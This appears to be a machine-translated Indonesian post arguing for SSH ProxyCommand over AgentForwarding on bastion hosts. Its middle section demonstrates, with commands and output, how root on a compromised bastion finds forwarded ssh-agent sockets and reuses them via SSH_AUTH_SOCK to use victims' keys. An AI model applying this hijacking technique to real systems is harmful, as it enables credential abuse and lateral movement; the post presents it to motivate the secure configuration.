Saya melihat jawaban tentang ProxyJump. Mari kita bicara tentang ProxyCommand .
Tapi tunggu, tunggu! Saya dapat menulis kepada Anda cara meretas server yang menggunakan penerusan Agen, yang akan jauh lebih mudah untuk memahami perbedaannya!
Ayo kembali!
Untuk langkah-langkah dasar: Anda dapat membaca posting saya di sini
Langkah-langkah dasar adalah sebagai berikut:
- Buat pengguna benteng
- Nonaktifkan login root
- Blokir upaya peretasan
- Ubah port
- Konfigurasikan firewall
- Konfigurasikan SELinux
Cara menggunakan AgentForwarding
-Buat konfigurasi di ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Tambahkan kunci otentikasi Anda ke ssh-agent
ssh-add ~/.ssh/name_rsa
-Sambungkan ke rumah benteng
ssh bast
-Hubungkan server aplikasi dari benteng
ssh app@IP -p PORT
Peretasan!
Anda mungkin, mengajukan pertanyaan kepada saya:
Bagaimana cara meretas server jika Anda mengompromikan bastion host?
Lacak Target
Dalam direktori / tmp Anda mungkin melihat sesuatu seperti itu:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Mari kita buka file sementara
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Mari kita lihat koneksi ke id proses ini.
netstat -nxp | grep 10507
hasil:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
dan siapa yang terhubung?
lsof -i -a -p 10507
hasil:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Kita juga dapat melihat file socket:
cd /proc/10507/fd/
ls
hasil:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Dan apa yang terjadi ketika klien akan terhubung ke server jauh? Ayo lihat:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Kita bahkan dapat melihat apakah file socket digunakan menggunakan netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Mencuri info Socket dan alamat IP
Sekarang kita perlu mencuri informasi soket saat sesi bastion host terbuka . Oh, kita juga perlu IP server tujuan , jadi gunakan saja netstat:
netstat -tn
Langkah terakhir untuk menggunakan file socket yang diteruskan
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Periksa apakah kunci sudah dimuat .
ssh-add -l
Hasilnya harus seperti itu :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Server diretas, bagaimana cara memperbaiki masalah keamanan?
Perintah proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Untuk operasi dasar: cara mentransfer file melalui server (dari klien ke server, server ke klien), Anda dapat membaca posting saya di sini
Kesimpulan
- Jika Anda menggunakan bastion host, jangan gunakan AgentForwarding tetapi gunakan ProxyCommand
- Selalu gunakan pengguna non-root untuk otentikasi
- Gunakan firewall dan blokir semua koneksi yang tidak perlu.
- Gunakan SELinux (Secara umum)
- Blokir alamat IP yang mencoba masuk beberapa kali dengan kredensial yang salah
- Jika tidak perlu, jangan berikan sudo izin kepada pengguna
- Monitor server Anda
- Perbarui server Anda untuk patch keamanan
Informasi lebih lanjut, lihat blog saya . Selain itu saya punya beberapa screeenshots, jadi mungkin bermanfaat untuk Anda.